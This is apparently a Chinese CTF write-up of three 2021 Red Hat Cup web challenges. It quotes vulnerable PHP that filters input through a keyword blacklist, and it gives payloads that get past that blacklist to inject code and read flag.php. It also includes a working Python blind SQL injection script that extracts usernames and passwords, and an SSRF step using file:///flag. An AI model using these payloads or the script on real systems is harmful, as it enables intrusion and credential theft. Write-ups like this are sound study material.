2021红帽杯
find_it
进来首先是说找不到PHP文件了,通过御剑扫出了robots.txt,里面说文件在1ndexx.php
,
但是无法访问这个页面,然后可以访问.1ndexx.php.swg
这个是vim编辑强制退出时留下的临时文件,里面可以看到源码:
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
前面一段是没啥用的,后面的意思是说把flag.php
的内容写入了hack.php
里面,然后把用户输入的code
参数填入hack.php
,同时用户输入的内容不能含有黑名单字符和长度不能超过33个字符;
直接访问flag.php
没有权限,但是可以访问hack.php
,那么我们就要想办法把hack.php
的内容读出来,这里有个非预期解,在phpinfo里面有flag的信息了,那么我们直接输入:
?code=<?php phpinfo(); ?>
然后访问hack.php
里面就把phpinfo的信息显示出来,ctrl+f
找flag即可。
预期解是用show_source()
这个函数和highlight_file()
的作用是一样的,但是前者没有被过滤,这里还需要把内容显示出来,用到了<?=
这个快捷指令,相当于<?php echo
这样就绕开了echo
的过滤,同时字符数也不会超过33,最后通过拼接绕过flag
的限制:
?code=<?=show_source("fl"."ag.php");
此时访问hack.php
即可
frameword
这似乎又是一个框架,/www.zip
拿到源码
WebsiteManger
首先进去是一个登陆界面,里面有个图片,F12看一下源码
尝试从这里进行SQL注入,发现存在黑名单过滤,过滤掉空格和limit,同时由于只会返回图片,因此这里是SQL盲注。
搬出盲注的脚本:
import requests
url = "http://eci-2ze8lvwn3slch5m9550f.cloudeci1.ichunqiu.com/image.php"
flag = ''
def payload(i, j):
# 查表名
# sql = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,2,3)" % (i, j)
# 查数据
sql = "if(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d,2,3)" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "CREATOR" in r.text: #第二张图片里面有CREATOR的字符
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 50):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
拿到用户账号和密码之后就可以登陆进去
这是个测试网站存活的功能,输入IP,就通过curl
来测试是否在线,因此这里可以尝试SSRF,利用伪协议即可查看根目录下的flag文件的内容
file:///flag